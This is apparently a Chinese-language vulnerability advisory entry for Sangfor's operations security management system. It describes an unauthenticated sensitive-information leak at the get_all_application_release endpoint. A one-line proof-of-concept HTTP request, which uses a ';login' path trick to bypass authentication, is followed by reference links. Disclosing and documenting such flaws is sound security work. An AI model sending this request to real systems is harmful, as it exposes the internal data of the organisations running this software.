Description
深信服运维安全管理系统 get_all_application_release敏感信息泄露接口在未进行充分身份验证或权限校验的情况下，返回了包含敏感信息的响应，导致攻击者可能通过该接口获取到系统内部的敏感数据。
深信服运维安全管理系统 get_all_application_release 敏感信息泄露
PoC
GET /fort;login/app/get_all_application_release HTTP/1.1
Host:
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://www.cnblogs.com/AutumnLonging/p/19553439
https://www.hzon.com/securityStudies/safety/88172885027004418.html
https://www.gm7.org/archives/33850
https://www.ddpoc.com/DVB-2026-10699.html
http://zone.ci/secarticles/wx/489126.html
https://cn-sec.com/archives/tag/get_all_application_release
https://bdziyi.com/forum-post/61463.html